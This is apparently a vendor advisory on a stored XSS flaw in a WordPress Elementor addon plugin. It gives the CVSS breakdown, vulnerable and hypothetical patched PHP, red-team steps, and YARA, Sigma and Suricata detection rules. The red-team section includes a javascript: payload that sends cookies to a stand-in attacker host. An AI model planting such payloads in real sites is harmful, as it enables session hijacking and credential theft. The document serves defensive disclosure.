CVE-2024-8515

Executive Summary

CVE-2024-8515 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themesflat Addons For Elementor WordPress plugin (versions up to and including 2.2.1). The flaw resides in multiple widgets (e.g., TF E Slider Widget, TF Video Widget, TF Team Widget) where URL attributes are not properly sanitized or escaped. An authenticated attacker with Contributor-level access or higher can inject arbitrary JavaScript into pages. When a victim (including administrators) visits the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch makes this a persistent risk for WordPress sites using the plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No package manager (NPM, PyPI, Go, Ruby) is involved. The plugin is installed directly through the WordPress admin dashboard or via manual upload. The absence of a patch means site administrators must rely on manual mitigation (e.g., disabling the plugin) until the vendor releases a fix.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Contributor-level access
• User Interaction: Required (UI:R) – Victim must visit the page
• Scope: Changed (S:C) – The injected script can affect other components
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the ability for authenticated attackers to target higher-privileged users elevates the risk in multi-user WordPress environments.

Deep Dive & Mechanics

The vulnerability exists because the plugin’s widgets (e.g., TF E Slider Widget, TF Video Widget, TF Team Widget) accept user-supplied URLs for attributes like href, src, or custom link fields. The plugin fails to sanitize these inputs (e.g., stripping javascript: or data: URIs) and does not escape the output when rendering the URL in the page’s HTML. An attacker with Contributor-level access can create or edit a post/page using one of the vulnerable widgets and insert a malicious URL such as:

javascript:alert(document.cookie)

When the page is saved and later viewed by another user (including an admin), the browser interprets the javascript: URI and executes the attacker’s script. The stored nature of the XSS means the payload persists until the content is removed or the plugin is fixed.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.2.1): In the widget’s render method, the URL attribute is output directly without escaping:

// Vulnerable: no escaping on URL attribute
echo '<a href="' . $settings['link_url'] . '">Click here</a>';

Patched Code (hypothetical): The patched version would use WordPress’s esc_url() function to sanitize the URL and esc_attr() for attribute context:

// Patched: escape URL for attribute context
echo '<a href="' . esc_url( $settings['link_url'] ) . '">Click here</a>';

Additionally, input validation should reject javascript: and other dangerous URI schemes.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: WordPress site with Themesflat Addons For Elementor <= 2.2.1 installed and activated. Attacker must have a Contributor-level account or higher.
2. Steps:
   • Log in as Contributor.
   • Create a new post or page.
   • Add a vulnerable widget (e.g., TF Video Widget).
   • In the URL field (e.g., video link), enter a malicious payload:

     javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
     

   • Publish the post.
   • When an admin or other user views the post, the script executes, exfiltrating cookies to the attacker’s server.

Proof-of-Concept (No public exploit available):

<!-- Example payload for TF Video Widget URL field -->
javascript:alert('XSS')

Blue Team (Detection & Hardening)

• Immediate Action: Disable the plugin if not essential.
• Web Application Firewall (WAF): Block requests containing javascript: in URL parameters.
• Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts and restricts script sources.
• User Training: Educate content creators about the risks of pasting untrusted URLs.
• Monitor Logs: Watch for unusual URL patterns in post/page creation logs.

Indicators of Compromise (IOCs)

• File System: Presence of the plugin directory /wp-content/plugins/themesflat-addons-for-elementor/ (version 2.2.1 or lower).
• Database: Posts or pages containing javascript: or data:text/html in widget meta fields (e.g., _elementor_data).
• Network: Outbound connections to attacker-controlled domains from the WordPress server (if payload exfiltrates data).
• Logs: WordPress audit logs showing Contributor-level users creating posts with unusual URL patterns.

Detection Engineering

YARA Rule

rule detect_themesflat_xss_payload {
    meta:
        description = "Detects malicious URL payloads targeting CVE-2024-8515 in WordPress"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8515"
    strings:
        $payload1 = "javascript:" nocase
        $payload2 = "data:text/html" nocase
        $payload3 = "vbscript:" nocase
    condition:
        any of them
}

Sigma Rule

title: Potential Stored XSS via Themesflat Addons For Elementor
id: 8a3f2c1e-5d7b-4a9f-8c6e-1b2d3e4f5a6b
status: experimental
description: Detects posts/pages containing javascript: URIs in Elementor widget data
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: in rare cases (e.g., bookmarklets)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8515 - Stored XSS via Themesflat Addons For Elementor"; flow:to_server,established; content:"javascript:"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Themesflat Addons For Elementor plugin until a patch is released.
2. Alternative: Replace the plugin with a similar, actively maintained Elementor addon.
3. Code-Level Fix (if custom development): Apply esc_url() and esc_attr() to all URL attributes in the plugin’s widgets.
4. WordPress Hardening:
   • Restrict Contributor-level permissions to trusted users only.
   • Enable two-factor authentication for all accounts.
   • Regularly audit user roles and capabilities.
5. Monitor: Subscribe to the vendor’s update channel for patch announcements.

Valters IT – DevSecOps & Cyber Threat Intelligence Report